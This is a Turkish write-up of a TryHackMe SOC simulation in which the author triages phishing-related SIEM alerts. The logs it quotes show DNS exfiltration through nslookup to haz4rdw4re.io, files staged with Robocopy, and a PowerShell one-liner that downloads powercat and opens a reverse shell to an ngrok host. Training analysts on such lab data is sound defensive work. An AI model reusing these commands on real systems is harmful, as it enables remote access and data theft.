

TryHackMe SOC Sim -Phishing Unfolding- Write-Up

**Hazırlayan: Muhammed Ali ZENGİN
27.02.2025**

HIGH ALERTS

“alışılmadık bir ebeveyn-çocuk ilişkisine sahip şüpheli bir süreç tespit edildi.”

10 adet yüksek seviyeli alarm tetiklenmiştir. Alarmların açıklamaları ve içeriği incelendiğinde, powershell.exe'nin birçok kez nslookup.exe sürecini çalıştırdığı tespit edilmiştir.

1036	Suspicious Parent Child Relationship	▼	High	Process	Feb 27th 2025 at 15:10	● Awaiting action	👤+
1035	Suspicious Parent Child Relationship	▼	High	Process	Feb 27th 2025 at 15:10	● Awaiting action	👤+
1034	Suspicious Parent Child Relationship	▼	High	Process	Feb 27th 2025 at 15:10	● Awaiting action	👤+
1033	Suspicious Parent Child Relationship	▼	High	Process	Feb 27th 2025 at 15:10	● Awaiting action	👤+
1032	Suspicious Parent Child Relationship	▼	High	Process	Feb 27th 2025 at 15:10	● Awaiting action	👤+
1031	Suspicious Parent Child Relationship	▼	High	Process	Feb 27th 2025 at 15:10	● Awaiting action	👤+
1030	Suspicious Parent Child Relationship	▼	High	Process	Feb 27th 2025 at 15:10	● Awaiting action	👤+
1029	Suspicious Parent Child Relationship	▼	High	Process	Feb 27th 2025 at 15:10	● Awaiting action	👤+
1028	Suspicious Parent Child Relationship	▼	High	Process	Feb 27th 2025 at 15:10	● Awaiting action	👤+
1027	Suspicious Parent Child Relationship	▼	High	Process	Feb 27th 2025 at 15:10	● Closed	📋

Nslookup.exe genellikle kullanıcılar veya sistem yöneticileri tarafından DNS sorguları yapmak için kullanılır. Ancak bir PowerShell komut dosyasının nslookup.exe çalıştırması olağandışı bir durumdur.

Assigned alert(s)							Write case report
1027	Suspicious Parent Child Relationship	^	High	Process	Feb 27th 2025 at 15:10	👤-	
Description:		A suspicious process with an uncommon parent-child relationship was detected in your environment.					
datasource:		sysmon					
timestamp:		02/27/2025 12:08:10.412					
event.code:		1					
host.name:		win-3450					
process.name:		nslookup.exe					
process.pid:		5520					
process.parent.pid:		3728					
process.parent.name:		powershell.exe					
process.command_line:		"C:\Windows\system32\nslookup.exe" UEsDBBQAAAAIANigLifVU3cDIgAAAI.haz4rdw4re.io					
process.working_directory:		C:\Users\michael.ascot\downloads\exfiltration\					
event.action:		Process Create (rule: ProcessCreate)					

Şimdi ilk alarmımızın tetiklenmesinden önceki ve sonraki süreçleri SIEM üzerinden detaylı olarak inceleyelim.

> Presets

> Relative

> Real-time

> Date Range

< Date & Time Range

Since ▾

02/27/2024

12:07:10.412

(up to now)

HH:MM:SS.SSS

Apply

> Advanced

```
> 27/02/2025 12:07:52.000 { [-]
  datasource: sysmon
  event.action: Process Create (rule: ProcessCreate)
  event.code: 1
  host.name: win-3450
  process.command_line: "C:\Windows\system32\Robocopy.exe" . C:\Users\michael.ascot\downloads\exfiltration /E
  process.name: Robocopy.exe
  process.parent.name: powershell.exe
  process.parent.pid: 3,728
  process.pid: 8356
  process.working_directory: Z:\
  timestamp: 02/27/2025 12:07:12.412
}
```

Show as raw text

Alarmın tetiklenmesinden önce Robocopy.exe ve Net.exe gibi araçların kullanıldığı, silme ve kopyalama işlemlerinin gerçekleştirildiği ve exfilt8me.zip adlı bir dosyanın oluşturulduğu görülüyor.

Alarmın tetiklenmesinden sonra ise Bitcoin cüzdan şifreleri adlı dosyanın nslookup üzerinden haz4rdw4re.io adresine aktarıldığı tespit ediliyor.

```
> 27/02/2025 12:09:00.000 { [-]
  datasource: powershell
  event.action: Pipeline Execution Details
  file.path: -
  host.name: win-3450
  message: Pipeline execution details for command line: . Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=5745
  User=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=bbaf2919-3765-42de-b254-1953f32951cb
  HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c IEX(New-Object
  System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -
  e powershell EngineVersion=5.1.20348.1366 RunspaceId=b980ae09-17ad-4495-b218-4b1e52190205 PipelineId=1 ScriptName= CommandLine= Details:
  CommandInvocation(Out-Default): "Out-Default"
  powershell.command.invocation.details.value: "Out-Default"
  powershell.command.name: -
  powershell.file.script_block.text: -
  process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c IEX(New-Object
  System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -
  e powershell
  timestamp: 02/27/2025 12:08:35.412
  winlog.process.pid: -
}
```

Son olarak, Powercat aracı GitHub üzerinden indirilerek çalıştırılıyor.

Bu olay True Positive olarak raporlanmalıdır.

MEDIUM ALERTS

2 adet medium alarmımız bulunmaktadır. Bu alarmları incelediğimizde, high level alarmlarda incelediğimiz olay ile ilgili oldukları görülmektedir. True positive.

ID	Alert rule	Severity	Type	Date	Status	Action
1025	Network drive disconnected from a local drive	Medium	Execution	Feb 27th 2025 at 19:11	Awaiting action	+
Description:		A network drive was disconnected from a local drive. Normally, this is not a cause for concern, but investigate further to determine if it is malicious.				
datasource:		sysmon				
timestamp:		02/27/2025 16:09:21.685				
event.code:		1				
host.name:		win-3450				
process.name:		net.exe				
process.pid:		8004				
process.parent.pid:		3728				
process.parent.name:		powershell.exe				
process.command_line:		"C:\Windows\system32\net.exe" use Z: /delete				
process.working_directory:		C:\Users\michael.ascot\downloads\				
event.action:		Process Create (rule: ProcessCreate)				
1023	Network drive mapped to a local drive	Medium	Execution	Feb 27th 2025 at 19:10	Awaiting action	+

LOW ALERTS

Phishingler incelendi ve tamamı false positive olarak belirlendi.

1 adet “Suspicious Parent Child Relationship” alarmı true positive olarak belirlendi.

1 adet True positive “Suspicious Attachment found in email” belirlendi (introduction to phishing raporunda detaylı olarak incelendi) .

